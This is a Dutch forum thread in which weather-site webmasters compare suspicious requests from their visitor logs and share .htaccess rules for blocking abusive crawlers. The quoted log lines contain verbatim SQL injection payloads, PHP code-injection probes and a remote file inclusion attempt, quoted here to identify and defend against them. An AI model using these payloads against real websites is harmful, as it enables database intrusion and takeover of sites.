Algemeen forum ontrent de ontwikkelng, design en hosting van weergerelateerde websites (dit laatste om een beetje on topic te blijven)
Door wvdkuil
#71157
Bezoekers die zeker niet met goede bedoelingen mijn sites bezoeken:
Code: Selecteer alles
?p=34&lang=fr&wp=MB%22%20or%20(1,2)(select*from(select%20name_const(CHAR(111,108,111,108,111,115,1 . . .

?p=wsForecast'A=0&lang=en&wp=MB

?p=mnu_wu_stat&lang=nl%22%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,11

?p=mnu_bdb'A=0

/?q=die('z!a'.'x');&w=die('z!a'.'x');&e=die('z!a'.'x');&r=die('z!a'.'x');&t=die('z!a'.'x');&y=die('

/?p=http://www.btj.no/allnet.jpg??


En dan nog de franse "OVH" en duitse "Host Europe" bots die iedere dag honderden WU-history pagina's aflopen.
Code: Selecteer alles
?p=mnu_wu_hist&ID=IVLBRABA2&month=11&day=4&year=2017&mode=2&units=&units=M

Voor hen geldt "god noch gebod"
Of je nu een valide robots.txt hebt of in de meta informatie "nofollow noindex" zet.
Ze blijven elke mogelijk waarde aflopen.
Voor een WU gebruiker die 5 jaar naar Wu oplaadt is dat
5 * 365 dag-overzichten
5 * 52 * 7 week overzichten
5 * 13 * 31 maandoverzichten
en vele tienduizenden van dag x tot dag y overzichten.
En omdat er iedere dag weer een nieuwe "vandaag" en "gisteren" waarde is, beginnen ze leuk iedere dag opnieuw. Dat kost veel onnodige resources bij de provider.

Oplossingen:
Ik werk al aan een nieuwe eigen "WU-history" waarbij de links alleen via javascript werken.
Voor de echte boosdoeners ga ik op bepaalde woorden filteren in de gegevens na de ?

VRAAG: als u andere vreemde aanroepen ziet in uw who-is-online pagina, post ze dan hier, kan ik ze meenemen.

Wim
Door teesee64
#71168
Je bedoeld zoiets?

Code: Selecteer alles
hbot   46.229.168.0    -    16-03-2018 22:43    ?lang=nl&p=dash_metar
   n
---   hbot   46.229.168.0    -    16-03-2018 22:42    ?lang=nl&p=26
   n
---   hbot   46.229.168.0    -    16-03-2018 22:41    ?lang=nl&p=wsForecast
   n
---   hbot   46.229.168.0    -    16-03-2018 22:39    ?lang=nl&p=links
   n
---   hbot   46.229.168.0    -    16-03-2018 22:34    ?lang=nl&p=gaugePage
   n
---   hbot   46.229.168.0    -    16-03-2018 22:33    ?lang=nl&p=historyv3
   n
---   hbot   46.229.168.0    -    16-03-2018 22:27    ?lang=nl&p=04
   n
---   hbot   46.229.168.0    -    16-03-2018 22:26    ?lang=nl&p=thunderRadar
   n
---   hbot   46.229.168.0    -    16-03-2018 22:25    ?lang=nl&p=console


Code: Selecteer alles
---   obot   54.36.148.0    -    17-03-2018 00:11    ?p=wsWUstart&ID=IFRIESLA
49&month=6&day=30&year=2
007&mode=2&units=B
   n
---   obot   54.36.148.0    -    17-03-2018 00:11    ?p=wsWUstart&ID=IFRIESLA
49&month=10&day=3&year=2
015&mode=1&units=&units=
E
   n
---   obot   54.36.148.0    -    17-03-2018 00:00    ?p=wsWUstart&ID=IFRIESLA
49&month=2&day=9&year=20
05&units=M&mode=2


Mijn whois online pagina staat er vol mee
http://www.weerstation-lemmer.nl/weathe ... #data-area

Groet,
Theo
Door wvdkuil
#71169
teesee64 schrijft:
Je bedoeld zoiets?

. . . ingekort . . .
Code: Selecteer alles
 . . . ingekort . . .
---   obot   54.36.148.0    -    17-03-2018 00:00    
?p=wsWUstart&ID=IFRIESLA49&month=2&day=9&year=2005&units=M&mode=2

Mijn whois online pagina staat er vol mee
http://www.weerstation-lemmer.nl/weathe ... #data-area

Groet,
Theo

Daar zien we erg vervelende bots.
Die kosten resuorces en doen volledig nutteloos werk.

Er staat een keurige "No follow" in de header, maar dat is blijkbaar niet genoeg om die bot te laten stoppen.

Als je er last met je provider mee krijgt, kun je voor een paar weken de p=wsWUstart pagina uit het menu halen
Verander show="wuHistPage" in show="no"
Code: Selecteer alles
<item nr="wsWUstart" 
  show="wuHistPage"
  caption="WU History Txt"
  head="wu/nofollow.txt" css="wu/WU-HistoryTan.css" link="wu/wsWUstart.php"/>


Maar ik ben eigenlijk op zoek naar "niet bij de template" horende aanroepen, zoals de volgende oogst:

Code: Selecteer alles
?p=10&wp=WV&lang=nl%27vufYjk%3C%27%22%3EAAQfiz

?p=ws_flight_radar&lang=en%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-%20RceR

?p=0000&wp=MB&lang=en%22%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%22x%22=%22x

?p=airQualityBE_act&lang=en+AND+1=2+UNION+SELECT+1337--

?p=ewnMapsBody2&lang=en%22%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%22x%22=%22x
Door Wietse
#71170
teesee64 schrijft:
Je bedoeld zoiets?

Code: Selecteer alles
...


Mijn whois online pagina staat er vol mee
http://www.weerstation-lemmer.nl/weathe ... #data-area

Groet,
Theo


Dat is makkelijk af te stoppen door 54.36.148.0 en 54.36.149.0 een 403 terug te geven d.m.v. het .htaccess bestand.

Voor apache 2.4 en hoger kan je daarvoor het volgende gebruiken:
Code: Selecteer alles
# Block individual IP's or IP ranges
<RequireAll>
  Require all granted
  Require not ip 54.36.148.0
  Require not ip 54.36.149.0
</RequireAll>


Veel webservers zitten nog niet op apache, dus indien je nog geen 2.4 hebt Google even naar een vergelijkbaar stukje code.
Door teesee64
#71171
Bedankt voor de tip, die kende ik nog niet.
Heb die ip adressen nu via de server zelf geblokkeerd. Maar ja, ik denk dat ze dan gewoon een ander ip adres gaan gebruiken.
Dit soort bots zullen vast meer dan 1 ip adres hebben neem ik aan.
Door T.J.
#71172
Je kunt ook deny en allow in .htaccess gebruiken, de allow zet je dan onderaan.
Bijv.:
order deny,allow
deny from 12.34.56.78
deny from 78.56.34.12
allow from all

Groeten Tjeerd
Door Wietse
#71175
T.J. schrijft:
Je kunt ook deny en allow in .htaccess gebruiken, de allow zet je dan onderaan.
Bijv.:
order deny,allow
deny from 12.34.56.78
deny from 78.56.34.12
allow from all

Groeten Tjeerd

Dit is de oplossing voor Apache 2.2 en lager.
Door wvdkuil
#71176
teesee64 schrijft:
Bedankt voor de tip, die kende ik nog niet.
Heb die ip adressen nu via de server zelf geblokkeerd. Maar ja, ik denk dat ze dan gewoon een ander ip adres gaan gebruiken.
Dit soort bots zullen vast meer dan 1 ip adres hebben neem ik aan.

Ja, dat is het grote probleem.
Ze gebruiken alle Ip adressen van OVH (frankrijk) , bijvoorbeeld 54.36.148.0 - 54.36.151.255
en van Host Europe GmbH, 85.25.210.0 - ??

Een "bijna" gratis account aanvragen, je bot-script opladen , starten, gegevens over "interessante sites" opladen naar je geheime website, als de provider je via "abuse" eraf gooit => nieuwe gratis site
enzovoort.

Alle niet correct bots die ik de afgelopen dagen vond waren van OVH en HostEurope.
En ik heb alle whoIsOnline pagina's(als die er waren) van alle Leuven-sponsors nagekeken.

Dus je kunt volgens mij weinig effect verwachten van IP-blokkades.
Maar aan de andere kant, wat doet een webserver op jouw site?
Bezoekers horen mensen van vlees en bloed te zijn. Geen onbekende bots.

Dus blokkeer gerust een hele providers range. Zolang google , yahoo of bing maar op je site kunnen indexen. Die houden zich aan alle spelregels.

Wim
Door jango
#71177
Deze staat er bij mij bij Veghel.

Grtz, Jan

---
unknown
104.238.120.0
-
18-03-2018 16:58
?p=hwaFullPage&lang=nl%2
2%20or%20(1,2)=(select*f
rom(select%20name_const(
CHAR(111,108,111,108,111
,115,104,101,114),1),nam
e_const(CHAR(111,108,111
,108,111,115,104,101,114
),1))a)%20--%20%22x%22=%
22x
Door Overijse
#71183
wvdkuil schrijft:
teesee64 schrijft:
Bedankt voor de tip, die kende ik nog niet.
Heb die ip adressen nu via de server zelf geblokkeerd. Maar ja, ik denk dat ze dan gewoon een ander ip adres gaan gebruiken.
Dit soort bots zullen vast meer dan 1 ip adres hebben neem ik aan.

Ja, dat is het grote probleem.
Ze gebruiken alle Ip adressen van OVH (frankrijk) , bijvoorbeeld 54.36.148.0 - 54.36.151.255
en van Host Europe GmbH, 85.25.210.0 - ??

Een "bijna" gratis account aanvragen, je bot-script opladen , starten, gegevens over "interessante sites" opladen naar je geheime website, als de provider je via "abuse" eraf gooit => nieuwe gratis site
enzovoort.

Alle niet correct bots die ik de afgelopen dagen vond waren van OVH en HostEurope.
En ik heb alle whoIsOnline pagina's(als die er waren) van alle Leuven-sponsors nagekeken.

Dus je kunt volgens mij weinig effect verwachten van IP-blokkades.
Maar aan de andere kant, wat doet een webserver op jouw site?
Bezoekers horen mensen van vlees en bloed te zijn. Geen onbekende bots.

Dus blokkeer gerust een hele providers range. Zolang google , yahoo of bing maar op je site kunnen indexen. Die houden zich aan alle spelregels.

Wim

OVH is niet enkel IHP (Internet hosting Provider) maar ook ISP (Internet aanbieder), waardoor OVH één groot botnet is zonder medeweten van alle onwetende pc gebruikers. Dus ipranges blokken haalt er niets uit.